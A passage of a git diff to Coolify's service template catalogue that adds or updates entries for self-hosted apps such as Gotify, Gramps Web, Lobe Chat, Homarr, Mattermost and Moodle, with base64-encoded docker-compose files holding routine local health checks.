"c2VydmljZXM6CiAgZmlsZWJyb3dzZXI6CiAgICBpbWFnZTogJ2ZpbGVicm93c2VyL2ZpbGVicm93c2VyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0ZJTEVCUk9XU0VSXzgwCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9zcnYKICAgICAgICB0YXJnZXQ6IC9zcnYKICAgICAgICBpc0RpcmVjdG9yeTogdHJ1ZQogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9kYXRhYmFzZS5kYgogICAgICAgIHRhcmdldDogL2RhdGFiYXNlLmRiCiAgICAgICAgaXNEaXJlY3Rvcnk6IGZhbHNlCiAgICAgICAgY29udGVudDogJycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZmlsZWJyb3dzZXIuanNvbgogICAgICAgIHRhcmdldDogLy5maWxlYnJvd3Nlci5qc29uCiAgICAgICAgcmVhZF9vbmx5OiB0cnVlCiAgICAgICAgY29udGVudDogIntcbiAgXCJhZGRyZXNzXCI6IFwiMC4wLjAuMFwiLFxuICBcInBvcnRcIjogODBcbn1cbiIK", "tags": [ "file-management", "storage-access", @@ -1561,6 +1561,20 @@ "minversion": "0.0.0", "port": "3000" }, + "gotify": { + "documentation": "https://gotify.net/docs/install?utm_source=coolify.io", + "slogan": "Gotify is an open-source self-hosted notification server.", + "compose": "c2VydmljZXM6CiAgZ290aWZ5OgogICAgaW1hZ2U6ICdnb3RpZnkvc2VydmVyOjIuNy4zJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfR09USUZZXzgwCiAgICAgIC0gJ0dPVElGWV9ERUZBVUxUVVNFUl9OQU1FPSR7R09USUZZX1VTRVJOQU1FOi1hZG1pbn0nCiAgICAgIC0gJ0dPVElGWV9ERUZBVUxUVVNFUl9QQVNTPSR7U0VSVklDRV9QQVNTV09SRF9HT1RJRll9JwogICAgICAtICdHT1RJRllfREFUQUJBU0VfRElBTEVDVD0ke0dPVElGWV9EQVRBQkFTRV9ESUFMRUNUOi1zcWxpdGUzfScKICAgICAgLSAnR09USUZZX0RBVEFCQVNFX0NPTk5FQ1RJT049JHtHT1RJRllfREFUQUJBU0VfQ09OTkVDVElPTjotZGF0YS9nb3RpZnkuZGJ9JwogICAgICAtICdHT1RJRllfUEFTU1NUUkVOR1RIPSR7R09USUZZX1BBU1NTVFJFTkdUSDotMTB9JwogICAgICAtICdHT1RJRllfVVBMT0FERURJTUFHRVNESVI9JHtHT1RJRllfVVBMT0FERURJTUFHRVNESVI6LWRhdGEvaW1hZ2VzfScKICAgICAgLSAnR09USUZZX1BMVUdJTlNESVI9JHtHT1RJRllfUExVR0lOU0RJUjotZGF0YS9wbHVnaW5zfScKICAgICAgLSAnR09USUZZX1NFUlZFUl9QT1JUPSR7R09USUZZX1NFUlZFUl9QT1JUOi04MH0nCiAgICAgIC0gJ0dPVElGWV9SRUdJU1RSQVRJT049JHtHT1RJRllfUkVHSVNUUkFUSU9OOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdnb3RpZnktZGF0YTovYXBwL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "tags": [ + "productivity", + "notification", + "collaboration" + ], + "category": "productivity", + "logo": "svgs/gotify.png", + "minversion": "0.0.0", + "port": "80" + }, "gowa": { "documentation": "https://github.com/aldinokemal/go-whatsapp-web-multidevice?utm_source=coolify.io", "slogan": "Golang WhatsApp - Built with Go for efficient memory use", @@ -1607,6 +1621,20 @@ "minversion": "0.0.0", "port": "3000" }, + "gramps-web": { + "documentation": "https://www.grampsweb.org/install_setup/setup/?utm_source=coolify.io", + "slogan": "Open Source Online Genealogy System.", + "compose": "c2VydmljZXM6CiAgZ3JhbXBzd2ViOgogICAgaW1hZ2U6ICdnaGNyLmlvL2dyYW1wcy1wcm9qZWN0L2dyYW1wc3dlYjoyNS45LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFNUFNXRUJfNTAwMAogICAgICAtICdHUkFNUFNXRUJfVFJFRT0ke0dSQU1QU1dFQl9UUkVFOi1HcmFtcHMgV2VifScKICAgICAgLSAnR1JBTVBTV0VCX0NFTEVSWV9DT05GSUdfX2Jyb2tlcl91cmw9cmVkaXM6Ly9ncmFtcHN3ZWJfcmVkaXM6NjM3OS8wJwogICAgICAtICdHUkFNUFNXRUJfQ0VMRVJZX0NPTkZJR19fcmVzdWx0X2JhY2tlbmQ9cmVkaXM6Ly9ncmFtcHN3ZWJfcmVkaXM6NjM3OS8wJwogICAgICAtICdHUkFNUFNXRUJfUkFURUxJTUlUX1NUT1JBR0VfVVJJPXJlZGlzOi8vZ3JhbXBzd2ViX3JlZGlzOjYzNzkvMScKICAgICAgLSAnR1VOSUNPUk5fTlVNX1dPUktFUlM9JHtHVU5JQ09STl9OVU1fV09SS0VSUzotMn0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGdyYW1wc3dlYl9yZWRpcwogICAgdm9sdW1lczoKICAgICAgLSAnZ3JhbXBzX3VzZXJzOi9hcHAvdXNlcnMnCiAgICAgIC0gJ2dyYW1wc19pbmRleDovYXBwL2luZGV4ZGlyJwogICAgICAtICdncmFtcHNfdGh1bWJfY2FjaGU6L2FwcC90aHVtYm5haWxfY2FjaGUnCiAgICAgIC0gJ2dyYW1wc19jYWNoZTovYXBwL2NhY2hlJwogICAgICAtICdncmFtcHNfc2VjcmV0Oi9hcHAvc2VjcmV0JwogICAgICAtICdncmFtcHNfZGI6L3Jvb3QvLmdyYW1wcy9ncmFtcHNkYicKICAgICAgLSAnZ3JhbXBzX21lZGlhOi9hcHAvbWVkaWEnCiAgICAgIC0gJ2dyYW1wc190bXA6L3RtcCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtTyAtIGh0dHA6Ly9sb2NhbGhvc3Q6NTAwMCA+IC9kZXYvbnVsbCAyPiYxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICBncmFtcHN3ZWJfY2VsZXJ5OgogICAgaW1hZ2U6ICdnaGNyLmlvL2dyYW1wcy1wcm9qZWN0L2dyYW1wc3dlYjoyNS45LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnR1JBTVBTV0VCX1RSRUU9JHtHUkFNUFNXRUJfVFJFRTotR3JhbXBzIFdlYn0nCiAgICAgIC0gJ0dSQU1QU1dFQl9DRUxFUllfQ09ORklHX19icm9rZXJfdXJsPXJlZGlzOi8vZ3JhbXBzd2ViX3JlZGlzOjYzNzkvMCcKICAgICAgLSAnR1JBTVBTV0VCX0NFTEVSWV9DT05GSUdfX3Jlc3VsdF9iYWNrZW5kPXJlZGlzOi8vZ3JhbXBzd2ViX3JlZGlzOjYzNzkvMCcKICAgICAgLSAnR1JBTVBTV0VCX1JBVEVMSU1JVF9TVE9SQUdFX1VSST1yZWRpczovL2dyYW1wc3dlYl9yZWRpczo2Mzc5LzEnCiAgICBkZXBlbmRzX29uOgogICAgICAtIGdyYW1wc3dlYl9yZWRpcwogICAgdm9sdW1lczoKICAgICAgLSAnZ3JhbXBzX3VzZXJzOi9hcHAvdXNlcnMnCiAgICAgIC0gJ2dyYW1wc19pbmRleDovYXBwL2luZGV4ZGlyJwogICAgICAtICdncmFtcHNfdGh1bWJfY2FjaGU6L2FwcC90aHVtYm5haWxfY2FjaGUnCiAgICAgIC0gJ2dyYW1wc19jYWNoZTovYXBwL2NhY2hlJwogICAgICAtICdncmFtcHNfc2VjcmV0Oi9hcHAvc2VjcmV0JwogICAgICAtICdncmFtcHNfZGI6L3Jvb3QvLmdyYW1wcy9ncmFtcHNkYicKICAgICAgLSAnZ3JhbXBzX21lZGlhOi9hcHAvbWVkaWEnCiAgICAgIC0gJ2dyYW1wc190bXA6L3RtcCcKICAgIGNvbW1hbmQ6ICdjZWxlcnkgLUEgZ3JhbXBzX3dlYmFwaS5jZWxlcnkgd29ya2VyIC0tbG9nbGV2ZWw9SU5GTyAtLWNvbmN1cnJlbmN5PTInCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ1NFQ1JFVF9LRVk9IiQoY2F0IHNlY3JldC9zZWNyZXQpIiBjZWxlcnkgLUEgZ3JhbXBzX3dlYmFwaS5jZWxlcnkgc3RhdHVzIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgZ3JhbXBzd2ViX3JlZGlzOgogICAgaW1hZ2U6ICdkb2NrZXIuaW8vbGlicmFyeS9yZWRpczo3LjIuNC1hbHBpbmUnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JlZGlzLWNsaSBwaW5nIHwgZ3JlcCBQT05HJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMK", + "tags": [ + "family", + "genealogy", + "personal" + ], + "category": "family", + "logo": "svgs/gramps-web.svg", + "minversion": "0.0.0", + "port": "5000" + }, "grist": { "documentation": "https://support.getgrist.com/?utm_source=coolify.io", "slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.", @@ -1674,7 +1702,7 @@ "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", "slogan": "Homarr is a self-hosted homepage for your services.", - "compose": "c2VydmljZXM6CiAgaG9tYXJyOgogICAgaW1hZ2U6ICdnaGNyLmlvL2FqbmFydC9ob21hcnI6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSE9NQVJSXzc1NzUKICAgIHZvbHVtZXM6CiAgICAgIC0gJy92YXIvcnVuL2RvY2tlci5zb2NrOi92YXIvcnVuL2RvY2tlci5zb2NrJwogICAgICAtICcuL2hvbWFyci9jb25maWdzOi9hcHAvZGF0YS9jb25maWdzJwogICAgICAtICcuL2hvbWFyci9pY29uczovYXBwL3B1YmxpYy9pY29ucycKICAgICAgLSAnLi9ob21hcnIvZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo3NTc1JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgaG9tYXJyOgogICAgaW1hZ2U6ICdnaGNyLmlvL2hvbWFyci1sYWJzL2hvbWFycjp2MS40MC4wJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSE9NQVJSXzc1NzUKICAgICAgLSBTRVJWSUNFX0hFWF8zMl9IT01BUlIKICAgICAgLSAnU0VDUkVUX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9IRVhfMzJfSE9NQVJSfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJy92YXIvcnVuL2RvY2tlci5zb2NrOi92YXIvcnVuL2RvY2tlci5zb2NrJwogICAgICAtICcuL2hvbWFyci9hcHBkYXRhOi9hcHBkYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjc1NzUnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "homarr", "self-hosted", @@ -2167,6 +2195,22 @@ "minversion": "0.0.0", "port": "8000" }, + "lobe-chat": { + "documentation": "https://github.com/lobehub/lobe-chat?tab=readme-ov-file#b-deploying-with-docker?utm_source=coolify.io", + "slogan": "An open-source, modern-design AI chat framework.", + "compose": "c2VydmljZXM6CiAgbG9iZS1jaGF0OgogICAgaW1hZ2U6ICdsb2JlaHViL2xvYmUtY2hhdDoxLjEzNS41JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTE9CRUNIQVRfMzIxMAogICAgICAtICdPUEVOQUlfQVBJX0tFWT0ke09QRU5BSV9BUElfS0VZfScKICAgICAgLSAnT1BFTkFJX1BST1hZX1VSTD0ke09QRU5BSV9CQVNFX1VSTDotaHR0cHM6Ly9hcGkub3BlbmFpLmNvbS92MX0nCiAgICAgIC0gJ0FDQ0VTU19DT0RFPSR7U0VSVklDRV9QQVNTV09SRF9BQ0NFU1NDT0RFfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly9sb2NhbGhvc3Q6MzIxMC8gfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "tags": [ + "ai", + "chat", + "openai", + "llm", + "chatbot" + ], + "category": "ai", + "logo": "svgs/lobe-chat.png", + "minversion": "0.0.0", + "port": "3210" + }, "logto": { "documentation": "https://docs.logto.io/docs/tutorials/get-started/#logto-oss-self-hosted?utm_source=coolify.io", "slogan": "A comprehensive identity solution covering both the front and backend, complete with pre-built infrastructure and enterprise-grade solutions.", @@ -2253,7 +2297,7 @@ "mattermost": { "documentation": "https://docs.mattermost.com?utm_source=coolify.io", "slogan": "Mattermost is an open source, self-hosted Slack-alternative.", - "compose": "c2VydmljZXM6CiAgbWF0dGVybW9zdDoKICAgIGltYWdlOiAnbWF0dGVybW9zdC9tYXR0ZXJtb3N0LXRlYW0tZWRpdGlvbjpyZWxlYXNlLTEwJwogICAgcGxhdGZvcm06IGxpbnV4L2FtZDY0CiAgICB2b2x1bWVzOgogICAgICAtICdtYXR0ZXJtb3N0LWRhdGEtY29uZmlnOi9tYXR0ZXJtb3N0L2NvbmZpZzpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLWRhdGE6L21hdHRlcm1vc3QvZGF0YTpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLWxvZ3M6L21hdHRlcm1vc3QvbG9nczpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLXBsdWdpbnM6L21hdHRlcm1vc3QvcGx1Z2luczpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLWNsaWVudC1wbHVnaW5zOi9tYXR0ZXJtb3N0L2NsaWVudC9wbHVnaW5zOnJ3JwogICAgICAtICdtYXR0ZXJtb3N0LWRhdGEtYmxldmUtaW5kZXhlczovbWF0dGVybW9zdC9ibGV2ZS1pbmRleGVzOnJ3JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTUFUVEVSTU9TVF84MDY1CiAgICAgIC0gJ01NX1NFUlZJQ0VTRVRUSU5HU19TSVRFVVJMPSR7U0VSVklDRV9VUkxfTUFUVEVSTU9TVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gTU1fU1FMU0VUVElOR1NfRFJJVkVSTkFNRT1wb3N0Z3JlcwogICAgICAtICdNTV9TUUxTRVRUSU5HU19EQVRBU09VUkNFPXBvc3RncmVzOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0Bwb3N0Z3Jlczo1NDMyLyRQT1NUR1JFU19EQj9zc2xtb2RlPWRpc2FibGUmY29ubmVjdF90aW1lb3V0PTEwJwogICAgICAtIE1NX0JMRVZFU0VUVElOR1NfSU5ERVhESVI9L21hdHRlcm1vc3QvYmxldmUtaW5kZXhlcwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MDY1JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXR0ZXJtb3N0fScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbWF0dGVybW9zdDoKICAgIGltYWdlOiAnbWF0dGVybW9zdC9tYXR0ZXJtb3N0LXRlYW0tZWRpdGlvbjpyZWxlYXNlLTEwJwogICAgcGxhdGZvcm06IGxpbnV4L2FtZDY0CiAgICB2b2x1bWVzOgogICAgICAtICdtYXR0ZXJtb3N0LWRhdGEtY29uZmlnOi9tYXR0ZXJtb3N0L2NvbmZpZzpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLWRhdGE6L21hdHRlcm1vc3QvZGF0YTpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLWxvZ3M6L21hdHRlcm1vc3QvbG9nczpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLXBsdWdpbnM6L21hdHRlcm1vc3QvcGx1Z2luczpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLWNsaWVudC1wbHVnaW5zOi9tYXR0ZXJtb3N0L2NsaWVudC9wbHVnaW5zOnJ3JwogICAgICAtICdtYXR0ZXJtb3N0LWRhdGEtYmxldmUtaW5kZXhlczovbWF0dGVybW9zdC9ibGV2ZS1pbmRleGVzOnJ3JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTUFUVEVSTU9TVF84MDY1CiAgICAgIC0gJ01NX1NFUlZJQ0VTRVRUSU5HU19TSVRFVVJMPSR7U0VSVklDRV9VUkxfTUFUVEVSTU9TVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gTU1fU1FMU0VUVElOR1NfRFJJVkVSTkFNRT1wb3N0Z3JlcwogICAgICAtICdNTV9TUUxTRVRUSU5HU19EQVRBU09VUkNFPXBvc3RncmVzOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0Bwb3N0Z3Jlczo1NDMyLyRQT1NUR1JFU19EQj9zc2xtb2RlPWRpc2FibGUmY29ubmVjdF90aW1lb3V0PTEwJwogICAgICAtIE1NX0JMRVZFU0VUVElOR1NfSU5ERVhESVI9L21hdHRlcm1vc3QvYmxldmUtaW5kZXhlcwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW1hdHRlcm1vc3R9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "mattermost", "slack", @@ -2472,7 +2516,7 @@ "moodle": { "documentation": "https://moodle.org?utm_source=coolify.io", "slogan": "Moodle is the world\u2019s most customisable and trusted eLearning solution that empowers educators to improve our world.", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gQUxMT1dfRU1QVFlfUEFTU1dPUkQ9bm8KICAgICAgLSBNWVNRTF9ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1JPT1QKICAgICAgLSBNWVNRTF9EQVRBQkFTRT1iaXRuYW1pX21vb2RsZQogICAgICAtIE1ZU1FMX1VTRVI9JFNFUlZJQ0VfVVNFUl9NQVJJQURCCiAgICAgIC0gTVlTUUxfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQgogICAgICAtIE1BUklBREJfQ0hBUkFDVEVSX1NFVD11dGY4bWI0CiAgICAgIC0gTUFSSUFEQl9DT0xMQVRFPXV0ZjhtYjRfdW5pY29kZV9jaQogICAgdm9sdW1lczoKICAgICAgLSAnbWFyaWFkYi1kYXRhOi92YXIvbGliL215c3FsJwogIG1vb2RsZToKICAgIGltYWdlOiAnZG9ja2VyLmlvL2JpdG5hbWlsZWdhY3kvbW9vZGxlOjQuMycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01PT0RMRV84MDgwCiAgICAgIC0gTU9PRExFX0RBVEFCQVNFX0hPU1Q9bWFyaWFkYgogICAgICAtIE1PT0RMRV9EQVRBQkFTRV9QT1JUX05VTUJFUj0zMzA2CiAgICAgIC0gTU9PRExFX0RBVEFCQVNFX1VTRVI9JFNFUlZJQ0VfVVNFUl9NQVJJQURCCiAgICAgIC0gTU9PRExFX0RBVEFCQVNFX05BTUU9Yml0bmFtaV9tb29kbGUKICAgICAgLSBNT09ETEVfREFUQUJBU0VfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQgogICAgICAtIEFMTE9XX0VNUFRZX1BBU1NXT1JEPW5vCiAgICAgIC0gJ01PT0RMRV9VU0VSTkFNRT0ke01PT0RMRV9VU0VSTkFNRTotdXNlcn0nCiAgICAgIC0gTU9PRExFX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01PT0RMRQogICAgICAtIE1PT0RMRV9FTUFJTD11c2VyQGV4YW1wbGUuY29tCiAgICAgIC0gJ01PT0RMRV9TSVRFX05BTUU9JHtNT09ETEVfU0lURV9OQU1FOi1OZXcgU2l0ZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdtb29kbGUtZGF0YTovYml0bmFtaS9tb29kbGUnCiAgICAgIC0gJ21vb2RsZWRhdGEtZGF0YTovYml0bmFtaS9tb29kbGVkYXRhJwogICAgZGVwZW5kc19vbjoKICAgICAgLSBtYXJpYWRiCg==", + "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gQUxMT1dfRU1QVFlfUEFTU1dPUkQ9bm8KICAgICAgLSBNWVNRTF9ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1JPT1QKICAgICAgLSBNWVNRTF9EQVRBQkFTRT1iaXRuYW1pX21vb2RsZQogICAgICAtIE1ZU1FMX1VTRVI9JFNFUlZJQ0VfVVNFUl9NQVJJQURCCiAgICAgIC0gTVlTUUxfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQgogICAgICAtIE1BUklBREJfQ0hBUkFDVEVSX1NFVD11dGY4bWI0CiAgICAgIC0gTUFSSUFEQl9DT0xMQVRFPXV0ZjhtYjRfdW5pY29kZV9jaQogICAgdm9sdW1lczoKICAgICAgLSAnbWFyaWFkYi1kYXRhOi92YXIvbGliL215c3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJiYXNoIC1jICc8L2Rldi90Y3AvbG9jYWxob3N0LzMzMDYnIgogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUKICBtb29kbGU6CiAgICBpbWFnZTogJ2RvY2tlci5pby9iaXRuYW1pbGVnYWN5L21vb2RsZTo0LjMnCiAgICBkZXBlbmRzX29uOgogICAgICAtIG1hcmlhZGIKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01PT0RMRV84MDgwCiAgICAgIC0gTU9PRExFX0RBVEFCQVNFX0hPU1Q9bWFyaWFkYgogICAgICAtIE1PT0RMRV9EQVRBQkFTRV9QT1JUX05VTUJFUj0zMzA2CiAgICAgIC0gTU9PRExFX0RBVEFCQVNFX1VTRVI9JFNFUlZJQ0VfVVNFUl9NQVJJQURCCiAgICAgIC0gTU9PRExFX0RBVEFCQVNFX05BTUU9Yml0bmFtaV9tb29kbGUKICAgICAgLSBNT09ETEVfREFUQUJBU0VfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQgogICAgICAtIEFMTE9XX0VNUFRZX1BBU1NXT1JEPW5vCiAgICAgIC0gJ01PT0RMRV9VU0VSTkFNRT0ke01PT0RMRV9VU0VSTkFNRTotdXNlcn0nCiAgICAgIC0gTU9PRExFX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01PT0RMRQogICAgICAtIE1PT0RMRV9FTUFJTD11c2VyQGV4YW1wbGUuY29tCiAgICAgIC0gJ01PT0RMRV9TSVRFX05BTUU9JHtNT09ETEVfU0lURV9OQU1FOi1OZXcgU2l0ZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdtb29kbGUtZGF0YTovYml0bmFtaS9tb29kbGUnCiAgICAgIC0gJ21vb2RsZWRhdGEtZGF0YTovYml0bmFtaS9tb29kbGVkYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHBocAogICAgICAgIC0gJy1yJwogICAgICAgIC0gImV4aXQoZmlsZV9leGlzdHMoJy9vcHQvYml0bmFtaS9tb29kbGUvY29uZmlnLnBocCcpID8gMCA6IDEpOyIKICAgICAgaW50ZXJ2YWw6IDIwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", "tags": [ "moodle", "elearning", @@ -2604,6 +2648,22 @@ "logo": "svgs/netbird.png", "minversion": "0.0.0" }, + "newapi": { + "documentation": "https://docs.newapi.pro/en/getting-started/?utm_source=coolify.io", + "slogan": "The next-generation LLM gateway and AI asset management system supports multiple languages.", + "compose": "c2VydmljZXM6CiAgbmV3LWFwaToKICAgIGltYWdlOiAnY2FsY2l1bWlvbi9uZXctYXBpOnYwLjkuMi4wJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTkVXX0FQSV8zMDAwCiAgICAgIC0gJ1NRTF9EU049cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBvc3RncmVzcWw6NTQzMi8ke1BPU1RHUkVTX0RBVEFCQVNFOi1uZXdhcGl9P3NzbG1vZGU9ZGlzYWJsZSZUaW1lWm9uZT0ke1RaOi1Bc2lhL1NoYW5naGFpfScKICAgICAgLSAnUkVESVNfQ09OTl9TVFJJTkc9cmVkaXM6Ly9yZWRpczo2Mzc5JwogICAgICAtICdUWj0ke1RaOi1Bc2lhL1NoYW5naGFpfScKICAgICAgLSBTRVNTSU9OX1NFQ1JFVD0kU0VSVklDRV9CQVNFNjRfNjRfU0VTU0lP